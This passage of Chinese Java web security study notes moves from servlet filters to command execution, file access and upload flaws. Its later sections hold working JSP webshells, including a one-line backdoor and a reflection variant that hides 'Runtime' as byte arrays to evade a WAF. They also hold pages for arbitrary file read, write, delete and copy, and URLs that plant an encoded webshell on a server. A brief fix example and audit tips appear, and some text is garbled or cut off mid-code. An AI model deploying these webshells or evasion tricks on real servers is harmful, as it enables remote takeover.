// 让程序继续往下访问用户的目标资源
filterChain.doFilter(servletRequest, servletResponse);
}
}
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<!--filter 标签用于配置一个 Filter 过滤器-->
<filter>
<!--给 filter 起一个别名-->
<filter-name>SessionFilter</filter-name>
<!--配置 filter 的全类名-->
<filter-class>com.example.demo.TestFilter</filter-class>
<init-param>
<param-name>username</param-name>
<param-value>baidu</param-value>
</init-param>
<init-param>
<param-name>url</param-name>
<param-value>www.baidu.com</param-value>
</init-param>
</filter>
<!--filter-mapping 配置 Filter 过滤器的拦截路径-->
<filter-mapping>
<!--filter-name 表示当前的拦截路径给哪个 filter 使用-->
<filter-name>SessionFilter</filter-name>
<!--url-pattern 配置拦截路径
/ 表示请求地址为:http://ip:port/工程路径/ 映射到 IDEA 的 web 目录
/admin/* 表示请求地址为:http://ip:port/工程路径/admin/*
-->
<!-- <url-pattern>/*</url-pattern>-->
<url-pattern>/haha/*</url-pattern>
</filter-mapping>
</web-app>
- 初始化
- 获取
Filter
的名称filter-name
的内容
- 获取在
web.xml
中配置的init-param
初始化参数
- 获取
ServletContext
对象
13.6. FilterChain
过滤器链
Filter
过滤器
Chain
链,链条
FilterChain
就是过滤器链(多个过滤器如何一起工作)
13.6.1. 单级筛选器
13.6.2. 多级筛选器
package com.example.demo.filters;
import javax.servlet.*;
import java.io.IOException;
import java.util.Enumeration;
public class CommonFilter implements Filter {
@Override
// init 初始化
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("2.Filter 的 init(FilterConfig filterConfig)初始化");
// 1、获取 Filter 的名称 filter-name 的内容
System.out.println("filter-name 的值是:" + filterConfig.getFilterName());
// 2、获取在 web.xml 中配置的 init-param 初始化参数
System.out.println();
System.out.println("初始化参数 username 的值是:" + filterConfig.getInitParameter("username"));
System.out.println("初始化参数 url 的值是:" + filterConfig.getInitParameter("url"));
System.out.println("====遍历 web.xml 中配置的 init-param 的初始化参数键值对===");
Enumeration<String> initParameterNames = filterConfig.getInitParameterNames();
while (initParameterNames.hasMoreElements()) {
String s = initParameterNames.nextElement();
String initParameter = filterConfig.getInitParameter(s);
System.out.println(s + ": " + initParameter);
}
System.out.println("====遍历 web.xml 中配置的 init-param 的初始化参数键值对===");
System.out.println();
// 3、获取 ServletContext 对象
System.out.println(filterConfig.getServletContext());
}
@Override
// destroy 销毁
public void destroy() {
System.out.println("now TestFilter destroy function called");
}
@Override
// filter 过滤器的预筛选
// 通过在web.xml中配置对应的过滤器来匹配路径,然后就可以执行对应的java代码
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("now TestFilter doFilter function called");
// 让程序继续往下访问用户的目标资源
filterChain.doFilter(servletRequest, servletResponse);
/*
* 如果想要在使用Filter处理请求之后仍然能够访问到想要访问的资源,
* 此时就需要在doFilter方法中使用chain.doFilter来将消息进一步转发
* */
}
}
package com.example.demo.filters;
import javax.servlet.*;
import java.io.IOException;
public class HahaFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
// Filter.super.init(filterConfig);
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("HahaFilter doFilter called");
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
Filter.super.destroy();
}
}
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<!--filter 标签用于配置一个 Filter 过滤器-->
<filter>
<filter-name>HahaFilter</filter-name>
<filter-class>com.example.demo.filters.HahaFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>HahaFilter</filter-name>
<url-pattern>/haha/*</url-pattern>
</filter-mapping>
<!--filter 标签用于配置一个 Filter 过滤器-->
<filter>
<!--给 filter 起一个别名-->
<filter-name>CommonFilter</filter-name>
<!--配置 filter 的全类名-->
<filter-class>com.example.demo.filters.CommonFilter</filter-class>
<init-param>
<param-name>username</param-name>
<param-value>baidu</param-value>
</init-param>
<init-param>
<param-name>url</param-name>
<param-value>www.baidu.com</param-value>
</init-param>
</filter>
<!--filter-mapping 配置 Filter 过滤器的拦截路径-->
<filter-mapping>
<!--filter-name 表示当前的拦截路径给哪个 filter 使用-->
<filter-name>CommonFilter</filter-name>
<!--url-pattern 配置拦截路径
/ 表示请求地址为:http://ip:port/工程路径/ 映射到 IDEA 的 web 目录
/admin/* 表示请求地址为:http://ip:port/工程路径/admin/*
-->
<!-- <url-pattern>/*</url-pattern>-->
<!-- 一般情况下,都是将通用的过滤器放在web.xml中的最下部分-->
<url-pattern>/*</url-pattern>
</filter-mapping>
</web-app>
13.7. Filter
的拦截路径
Filter
过滤器它只关心请求的地址是否匹配,不关心请求的资源是否存在!!!
<url-pattern>/target.jsp</url-pattern>
–精确匹配
以上配置的路径,表示请求地址必须为:http://ip:port/工程路径/target.jsp
<url-pattern>/admin/*</url-pattern>
–目录匹配
以上配置的路径,表示请求地址必须为:http://ip:port/工程路径/admin/*
<url-pattern>*.html</url-pattern>
–后缀名匹配
以上配置的路径,表示请求地址必须以.html
结尾才会拦截到
<url-pattern>*.do</url-pattern>
以上配置的路径,表示请求地址必须以.do
结尾才会拦截到
<url-pattern>*.action</url-pattern>
以上配置的路径,表示请求地址必须以.action
结尾才会拦截到
14. Java
本地命令执行
Java
原生提供了对本地系统命令执行的支持,黑客通常会b
利用漏洞或者b
来执行系统终端命令控制服务器的目的。
对于开发者来说执行本地命令来实现某些程序功能(如:ps
进程管理、top
内存管理等)是一个正常的需求,而对于黑客来说本地命令执行是一种非常有利的入侵手段。
14.1. Runtime
命令执行
在Java
中我们通常会使用java.lang.Runtime
类的exec
方法来执行本地系统命令。
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%
Runtime runtime = Runtime.getRuntime();
Process processObj = runtime.exec(request.getParameter("cmd"));
// 乱码
response.setContentType("text/html; charset=UTF-8");
// 获取命令结果的输出流
InputStream inputStream = processObj.getInputStream();
// 读取输出流
InputStreamReader inputStreamReader = new InputStreamReader(inputStream);
// 缓冲器读行
BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
String line = null;
// 知道读完为止
while ((line = bufferedReader.readLine()) != null) {
response.getWriter().write(line);
}
%>
</body>
</html>
14.1.1. 命令执行
14.1.2. 重定向
14.2. Jsp
一句话
<%=Runtime.getRuntime().exec(request.getParameter("cmd"))%>
- 本地
nc
监听9000
端口:nc -vv -l 9000
- 使用浏览器访问:
http://localhost:8080/runtime-exec.jsp?cmd=curl localhost:9000
- 我们可以在
nc
中看到已经成功的接收到了java
执行了curl
命令的请求了,如此仅需要一行代码一个最简单的本地命令执行后门也就写好了。
14.3. Runtime
命令执行调用链
- 命令执行调用链
通过观察整个调用链我们可以清楚的看到exec
方法并不是命令执行的最终点,有了以下的调用链分析我们就可以深刻的理解到Java
本地命令执行的深入逻辑了,切记Runtime
和ProcessBuilder
并不是程序的最终执行点
Runtime.exec(xxx)
exec:347, Runtime
exec:450, Runtime
exec:620, Runtime-java.lang.ProcessBuilder.start()
start:1007, ProcessBuilder
start:1029, ProcessBuilder
start:137, ProcessImpl
<init>:386, ProcessImpl
<init>:386, ProcessImpl
14.4. 通过反射隐式的生成对应的对象(过waf)
通过反射好处在于可以避免使用某些敏感的关键字
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Scanner" %>
<%
String str = request.getParameter("str");
// 定义"java.lang.Runtime"字符串变量
String rt = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101});
// 反射java.lang.Runtime类获取Class对象
Class<?> c = Class.forName(rt);
// 反射获取Runtime类的getRuntime方法
Method m1 = c.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101}));
// 反射获取Runtime类的exec方法
Method m2 = c.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class);
// 反射调用Runtime.getRuntime().exec(xxx)方法
Object obj2 = m2.invoke(m1.invoke(null, new Object[]{}), new Object[]{str});
// 反射获取Process类的getInputStream方法
Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));
m.setAccessible(true);
// 获取命令执行结果的输入流对象:p.getInputStream()并使用Scanner按行切割成字符串
Scanner s = new Scanner((InputStream) m.invoke(obj2, new Object[]{})).useDelimiter("\\A");
String result = s.hasNext() ? s.next() : "";
// 输出命令执行结果
out.println(result);
%>
14.5. 通过可控反射进行特定类下特定方法的调用
http://192.168.100.1:8088/demo/HelloServlet?ClassName=com.example.demo.TestExecClass&Method=execCommand&Args=¶m=ipconfig
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Scanner" %>
<%
String str = request.getParameter("str");
// 定义"java.lang.Runtime"字符串变量
String rt = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101});
// 反射java.lang.Runtime类获取Class对象
Class<?> c = Class.forName(rt);
// 反射获取Runtime类的getRuntime方法
Method m1 = c.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101}));
// 反射获取Runtime类的exec方法
Method m2 = c.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class);
// 反射调用Runtime.getRuntime().exec(xxx)方法
Object obj2 = m2.invoke(m1.invoke(null, new Object[]{}), new Object[]{str});
// 反射获取Process类的getInputStream方法
Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));
m.setAccessible(true);
// 获取命令执行结果的输入流对象:p.getInputStream()并使用Scanner按行切割成字符串
Scanner s = new Scanner((InputStream) m.invoke(obj2, new Object[]{})).useDelimiter("\\A");
String result = s.hasNext() ? s.next() : "";
// 输出命令执行结果
out.println(result);
%>
package com.example.demo;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.*;
@WebServlet("/HelloServlet")
public class HelloServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse resp) throws ServletException, IOException {
// 通过get请求获得对应的ClassName
String ClassName = request.getParameter("ClassName");
// 通过get请求获得对应的MethodName
String MethodName = request.getParameter("Method");
// 通过get请求获得对应的Args数组
String[] Args = new String[]{request.getParameter("Args").toString()};
Object params = request.getParameter("param");
try {
Class<?> aClass = Class.forName(ClassName);
Constructor<?> constructor = aClass.getConstructor();
Object obj = constructor.newInstance();
Method method = aClass.getMethod(MethodName, String.class);
method.invoke(obj, params);
} catch (ClassNotFoundException | NoSuchMethodException | IllegalAccessException | InvocationTargetException | InstantiationException e) {
e.printStackTrace();
}
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse resp) throws ServletException, IOException {
}
}
package com.example.demo;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
public class TestExecClass {
public TestExecClass() {
}
public TestExecClass(String test) {
}
public void execCommand(String cmd) {
try {
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;
while (true) {
if (!((a = in.read(b)) != -1)) break;
baos.write(b, 0, a);
}
System.out.println("<pre>" + new String(baos.toByteArray()) + "</pre>");
} catch (IOException e) {
e.printStackTrace();
}
}
}
15. Java_文件读取
15.1. 文件访问类漏洞
- 任意目录遍历
- 任意文件、目录复制
- 任意文件读取/下载
- 任意文件、目录修改/重命名
- 任意文件、目录删除
- ……
我们通常把这类漏洞归为一个类型,因为产生漏洞的原因都是因为程序对文件或目录访问控制不严、程序内部逻辑错误导致的任意文件或目录恶意访问漏洞
15.2. 任意文件读取
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.File" %>
<%@ page import="java.io.FileInputStream" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%
// 获得真实路径加上想要获取的文件名
File file = new File(request.getRealPath("/") + request.getParameter("name"));
FileInputStream fileInputStream = new FileInputStream(file);
int tempbyte;
while ((tempbyte = fileInputStream.read()) != -1) {
out.write(tempbyte);
}
fileInputStream.close();
%>
</body>
</html>
15.2.1. 同级目录任意文件读取漏洞测试
15.2.2. 读取WEB-INF/web.xml
15.3. 任意文件、目录复制
15.3.1. 跨目录写入文件测试
http://192.168.11.1:8088/demo/readFile.jsp?f=./new_write.jsp&c=<%=Runtime.getRuntime().exec(request.getParameter("cmd"))%>
http://192.168.11.1:8088/demo/readFile.jsp?f=./new_write.jsp&c=%3C%25%3dRuntime%2egetRuntime%28%29%2eexec%28request%2egetParameter%28%22cmd%22%29%29%25%3E
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.File" %>
<%@ page import="java.io.FileInputStream" %>
<%@ page import="java.io.FileOutputStream" %>
<%@ page import="java.nio.charset.StandardCharsets" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%
// 获得真实路径加上想要获取的文件名
File file = new File(request.getParameter("f"));
FileOutputStream fileOutputStream = new FileOutputStream(file);
// 获得写入的内容
fileOutputStream.write(request.getParameter("c").getBytes());
fileOutputStream.flush();
fileOutputStream.close();
out.println(file.getAbsoluteFile() + "\t" + file.exists());
%>
</body>
</html>
15.3.2. 绝对路径写入文件测试
http://192.168.11.1:8088/demo/readFile.jsp?f=C:/Users/hunter/IdeaProjects/demo/src/main/webapp/new_write.jsp&c=<%=Runtime.getRuntime().exec(request.getParameter("cmd"))%>
base64编码:http://192.168.11.1:8088/demo/readFile.jsp?f=C:/Users/hunter/IdeaProjects/demo/src/main/webapp/new_write.jsp&c=%3C%25%3dRuntime%2egetRuntime%28%29%2eexec%28request%2egetParameter%28%22cmd%22%29%29%25%3E
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.File" %>
<%@ page import="java.io.FileInputStream" %>
<%@ page import="java.io.FileOutputStream" %>
<%@ page import="java.nio.charset.StandardCharsets" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%
// 获得真实路径加上想要获取的文件名
File file = new File(request.getParameter("f"));
FileOutputStream fileOutputStream = new FileOutputStream(file);
// 获得写入的内容
fileOutputStream.write(request.getParameter("c").getBytes());
fileOutputStream.flush();
fileOutputStream.close();
out.println(file.getAbsoluteFile() + "\t" + file.exists());
%>
</body>
</html>
写入成功后,tomcat
要重启
http://192.168.11.1:8088/demo/readFile.jsp?f=C:/Users/hunter/IdeaProjects/demo/src/main/webapp/new_write.jsp&c=%3c%25%40%20%70%61%67%65%20%69%6d%70%6f%72%74%3d%22%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%22%20%25%3e%0a%3c%25%40%20%70%61%67%65%20%69%6d%70%6f%72%74%3d%22%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%22%20%25%3e%0a%3c%25%40%20%70%61%67%65%20%69%6d%70%6f%72%74%3d%22%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%22%20%25%3e%0a%3c%25%40%20%70%61%67%65%20%63%6f%6e%74%65%6e%74%54%79%70%65%3d%22%74%65%78%74%2f%68%74%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%22%20%6c%61%6e%67%75%61%67%65%3d%22%6a%61%76%61%22%20%25%3e%0a%3c%68%74%6d%6c%3e%0a%3c%68%65%61%64%3e%0a%20%20%20%20%3c%74%69%74%6c%65%3e%54%69%74%6c%65%3c%2f%74%69%74%6c%65%3e%0a%3c%2f%68%65%61%64%3e%0a%3c%62%6f%64%79%3e%0a%3c%25%0a%20%20%20%20%52%75%6e%74%69%6d%65%20%72%75%6e%74%69%6d%65%20%3d%20%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%3b%0a%20%20%20%20%50%72%6f%63%65%73%73%20%70%72%6f%63%65%73%73%4f%62%6a%20%3d%20%72%75%6e%74%69%6d%65%2e%65%78%65%63%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6d%64%22%29%29%3b%0a%0a%2f%2f%20%20%20%20%71%01%0a%20%20%20%20%72%65%73%70%6f%6e%73%65%2e%73%65%74%43%6f%6e%74%65%6e%74%54%79%70%65%28%22%74%65%78%74%2f%68%74%6d%6c%3b%20%63%68%61%72%73%65%74%3d%55%54%46%2d%38%22%29%3b%0a%2f%2f%20%20%20%20%b7%d6%7d%e4%d3%9c%84%93%fa%41%0a%20%20%20%20%49%6e%70%75%74%53%74%72%65%61%6d%20%69%6e%70%75%74%53%74%72%65%61%6d%20%3d%20%70%72%6f%63%65%73%73%4f%62%6a%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%3b%0a%2f%2f%20%20%20%20%fb%d6%93%fa%41%0a%20%20%20%20%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%20%69%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%20%3d%20%6e%65%77%20%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%69%6e%70%75%74%53%74%72%65%61%6d%29%3b%0a%2f%2f%20%20%20%20%13%b2%68%fb%4c%0a%20%20%20%20%42%75%66%66%65%72%65%64%52%65%61%64%65%72%20%62%75%66%66%65%72%65%64%52%65%61%64%65%72%20%3d%20%6e%65%77%20%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%69%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%29%3b%0a%20%20%20%20%53%74%72%69%6e%67%20%6c%69%6e%65%20%3d%20%6e%75%6c%6c%3b%0a%2f%2f%20%20%20%20%e5%53%fb%8c%3a%62%0a%20%20%20%20%77%68%69%6c%65%20%28%28%6c%69%6e%65%20%3d%20%62%75%66%66%65%72%65%64%52%65%61%64%65%72%2e%72%65%61%64%4c%69%6e%65%28%29%29%20%21%3d%20%6e%75%6c%6c%29%20%7b%0a%20%20%20%20%20%20%20%20%72%65%73%70%6f%6e%73%65%2e%67%65%74%57%72%69%74%65%72%28%29%2e%77%72%69%74%65%28%6c%69%6e%65%29%3b%0a%20%20%20%20%7d%0a%25%3e%0a%3c%2f%62%6f%64%79%3e%0a%3c%2f%68%74%6d%6c%3e
15.4. 任意文件删除
15.4.1. 正常删除
http://192.168.11.1:8088/demo/readFile.jsp?file=C:/Users/hunter/Documents/ah/%E5%B7%A5%E5%85%B7/0/java%E5%B7%A5%E5%85%B7/apache-tomcat-8.5.93/bin/new_write.jsp
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.File" %>
<%
File file = new File(request.getParameter("file"));
// 如果delete方法对应的文件名可控,则可能存在任意文件删除漏洞
out.println(file.delete());
%>
删除成功
15.4.2. 通过反射去删除对应的文件
http://192.168.11.1:8088/demo/readFile.jsp?file=C:/Users/hunter/IdeaProjects/demo/src/main/webapp/WEB-INF/flag.jsp
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.File" %>
<%@ page import="java.lang.reflect.Method" %>
<% // 删除任意文件漏洞
String file = request.getParameter("file");
// 通过Class.forName方法获得一个class类型的对象DefaultFileSystem类,再通过getMethod方法获得类中的getFileSystem方法
Method m = Class.forName("java.io.DefaultFileSystem").getMethod("getFileSystem");
// 屏蔽对象的访问检查
m.setAccessible(true);
// 静态方法,可以不实例化,直接invoke(null)
// fs是一个FileSystem类型的对象
Object fs = m.invoke(null);
Class<?> aClass = fs.getClass();
// 再去调用delete方法
Method m2 = aClass.getMethod("delete", File.class);
// Method m2 = fs.getClass().getMethod("delete", File.class);
// 屏蔽对象的访问检查
m2.setAccessible(true);
// File类中的delete方法,再去删除指定的文件
out.print(m2.invoke(fs, new File(file)));
%>
15.5. 复制当前文件到另一个地方
http://192.168.11.1:8088/demo/readFile.jsp?source=C:/Users/hunter/IdeaProjects/demo/src/main/webapp/test.txt&dest=C:/Users/hunter/IdeaProjects/demo/src/main/webapp/WEB-INF/test.txt
攻击者传入恶意的source
和dest
参数可以实现辅助任何文件到任意的目录,比如攻击者可以在用户中心上传一张内容为WebShell
恶意代码的1.jpg
图片文件,然后通过漏洞将1.jpg
图片文件,复制到同级目录并更新名称为1.jsp
的可解析脚本文件,访问1.jsp
文件即可实现控制服务器的目的
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.nio.file.Files" %>
<%@ page import="java.nio.file.Paths" %>
<%@ page import="java.nio.file.Path" %>
<%
// 复制当前文件到另一个地方
Path source = Paths.get(request.getParameter("source"));
Path dest = Paths.get(request.getParameter("dest"));
// 通过使用Files.copy将一个文件类型的对象复制到另外的目录中
Path path = Files.copy(source, dest);
out.println(path);
%>
在实际环境中,应用系统可以根据需求在配置文件如web.xml
中火代码层面如filter
设置某些目录(如上传目录、资源目录等)静止对.jsp
脚本文件等可执行文件进行解析,因此,攻击者需要将恶意文件移动或复制到其他能够执行的目录进行解析
文件存在复制会报错、目录必须存在,否则会报错
15.6. 文件重命名(移动)
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.nio.file.Files" %>
<%@ page import="java.nio.file.Paths" %>
<%@ page import="java.nio.file.Path" %>
<%@ page import="java.io.File" %>
<%
String fileName1 = request.getParameter("s");
String fileName2 = request.getParameter("d");
File f = new File(fileName1);
File d = new File(fileName2);
// 通过使用renameTo相当于将一个文件移动到另外一个位置
f.renameTo(d);
out.println(d + "\t" + d.exists());
%>
目录必须存在,否则会报错
15.7. 文件目录遍历
任意目录遍历漏洞顾名思义攻击者可以通过漏洞遍历出服务器操作系统中的任意目录文件名,从而导致服务器敏感信息写了,某些场景下(如遍历出网站日志,备份文件,管理后台等)甚至可能会导致服务器被非法入侵
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.File" %>
<pre>
<%
// list返回的是一个字符串数组
// listFiles返回的是File类型的对象数组
String[] dirs = new File(request.getParameter("dir")).list();
for (String dir : dirs) {
out.println(dir);
}
%>
</pre>
- 相对目录遍历
- 绝对目录遍历
15.8. 存在任意文件读取的NIO.2
代码:
IO
和NIO.2
的文件系统支持,使用NIO
任意文件读取漏洞测试
http://192.168.100.1:8088/demo/readFile.jsp?file=C:/Users/HW/Documents/IdeaProjects/demo/src/main/webapp/1.txt
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.nio.file.Files" %>
<%@ page import="java.nio.file.Paths" %>
<%@ page import="java.nio.file.Path" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<pre>
<%
try {
// 利用nio库下的Files类中所存在的readAllBytes方法
// 一次将文件中的所有的字节全部读取到bytes中
Path file = Paths.get(request.getParameter("file"));
byte[] bytes = Files.readAllBytes(file);
out.println(new String(bytes));
} catch (IOException e) {
e.printStackTrace();
}
%>
</pre>
</body>
</html>
15.9. 任意文件/目录访问漏洞修复
- 限制读取目录或文件
- 在读取文件或者目录的时候我们需要考虑到文件读取安全问题,严格控制用户传入参数,禁止或限制用户传入文件路径。
- 检测用户参数合法性代码示例(根据具体业务需求调整判定逻辑)
<%@ page import="java.io.File" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<pre>
<%!
// 定义限制用户遍历的文件目录常量
private static final String IMAGE_DIR = "/data/images/";
%>
<%
// 定义需要遍历的目录
String dirStr = request.getParameter("dir");
if (dirStr != null) {
File dir = new File(dirStr);
// 获取文件绝对路径,转换成标准的文件路径
String fileDir = (dir.getAbsoluteFile().getCanonicalFile() + "/").replace("\\\\", "/").replaceAll("/+", "/");
out.println("<h3>" + fileDir + "</h3>");
// 检查当前用户传入的目录是否包含在系统限定的目录下
// IMAGE_DIR=/data/images/
if (fileDir.startsWith(IMAGE_DIR)) {
File[] dirs = dir.listFiles();
out.println("<pre>");
for (File file : dirs) {
out.println(file.getName());
}
out.println("</pre>");
} else {
out.println("目录不合法!");
}
}
%>
</pre>
</body>
</html>
15.10. Java
恶意文件访问审计建议
在审计文件读取功能的时候要非常仔细,或许很容易就会有意想不到的收获!快速发现这类漏洞得方式其实也是非常简单的,在IDEA中的项目中重点搜下如下文件读取的类。
JDK
原始的java.io.FileInputStream
、java.io.FileOutputStream
类;JDK
原始的java.io.RandomAccessFile
类;Apache Commons IO
提供的org.apache.commons.io.FileUtils
类;JDK1.7
新增的基于NIO
非阻塞异步读取文件的java.nio.channels.AsynchronousFileChannel
类;JDK1.7
新增的基于NIO
读取文件的java.nio.file.Files
类。常用方法如:Files.readAllBytes
、Files.readAllLines
;java.io.File
类的list
、listFiles
、listRoots
、delete
方法;
除此之外,还可以搜索一下FileUtil/FileUtils
很有可能用户会封装文件操作的工具类。
16. Java_文件上传
16.1. 文件的上传介绍
- 要有一个
form
标签,method=post
请求 form
标签的encType
属性值必须为multipart/form-data
值- 在
form
标签中使用input type=file
添加上传的文件 - 编写服务器代码(
Servlet
程序)接收,处理上传的数据。encType=multipart/form-data
表示提交的数据,以多段(每一个表单项一个数据段)的形式进行拼接,然后以二进制流的形式发送给服务器
16.2. 常用 API
介绍说明
需要依赖 commons-io.jar
这个包,所以两个包我们都要引入
第一步,就是需要导入两个 jar
包:
commons-fileupload-1.2.1.jar
commons-io-1.4.jar
ServletFileUpload
类,用于解析上传的数据
FileItem
类,表示每一个表单项
boolean ServletFileUpload.isMultipartContent(HttpServletRequest request)
判断当前上传的数据格式是否是多段的格式
public List<FileItem> parseRequest(HttpServletRequest request)
解析上传的数据
boolean FileItem.isFormField()
判断当前这个表单项,是否是普通的表单项。还是上传的文件类型
true
表示普通类型的表单项 false
表示上传的文件类型
String FileItem.getFieldName()
获取表单项的 name
属性值
String FileItem.getString()
获取当前表单项的值
String FileItem.getName()
获取上传的文件名
void FileItem.write(file)
将上传的文件写到 参数 file
所指向抽硬盘位置
package com.example.demo;
import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.FileItemFactory;
import org.apache.commons.fileupload.FileItemIterator;
import org.apache.commons.fileupload.FileItemStream;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;
import org.apache.commons.fileupload.util.Streams;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import java.io.IOException;
@WebServlet(name = "ServletFileUploadProcess", value = "/ServletFileUploadProcess")
public class ServletFileUploadProcess extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
}
/* 用来处理上传的数据* @param req* @param resp* @throws ServletException* @throws IOException*/
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
//1 先判断上传的数据是否多段数据(只有是多段的数据,才是文件上传的)
if (ServletFileUpload.isMultipartContent(req)) {
// 创建 FileItemFactory 工厂实现类
FileItemFactory fileItemFactory = new DiskFileItemFactory();
// 创建用于解析上传数据的工具类 ServletFileUpload 类
ServletFileUpload servletFileUpload = new ServletFileUpload(fileItemFactory);
try {
// 解析上传的数据,得到每一个表单项
FileItemList<FileItem> list = servletFileUpload.parseRequest(req);
// 循环判断,每一个表单项,是普通类型,还是上传的文件
for (FileItem fileItem : list) {
if (fileItem.isFormField()) {
// 普通表单项
System.out.println("表单项的 name 属性值:" + fileItem.getFieldName());
// 参数 UTF-8.解决乱码问题
System.out.println("表单项的 value 属性值:" + fileItem.getString("UTF-8"));
} else {
// 上传的文件
System.out.println("表单项的 name 属性值:" + fileItem.getFieldName());
System.out.println("上传的文件名:" + fileItem.getName());
fileItem.write(new File("e:\\" + fileItem.getName()));
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
16.3. ServletFileUpload
任意文件上传漏洞
Web
应用通常都会包含文件上传功能,用户可以将其本地的文件上传到Web服务器上。如果服务器端没有能够正确的检测用户上传的文件类型是否合法(例如上传了jsp
后缀的WebShell
)就将文件写入到服务器中就可能会导致服务器被非法入侵。
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.commons.fileupload.FileItemIterator" %>
<%@ page import="org.apache.commons.fileupload.FileItemStream" %>
<%@ page import="org.apache.commons.fileupload.servlet.ServletFileUpload" %>
<%@ page import="org.apache.commons.fileupload.util.Streams" %>
<%@ page import="java.io.File" %>
<%@ page import="java.io.FileOutputStream" %>
<% if (ServletFileUpload.isMultipartContent(request)) {
// 判断当前上传的数据格式是否是多段的格式
// ServletFileUpload 类用于解析上传的数据
ServletFileUpload fileUpload = new ServletFileUpload();
FileItemIterator fileItemIterator = fileUpload.getItemIterator(request);
String dir = request.getServletContext().getRealPath("/uploads/");
File uploadDir = new File(dir);
if (!uploadDir.exists()) {
uploadDir.mkdir();
}
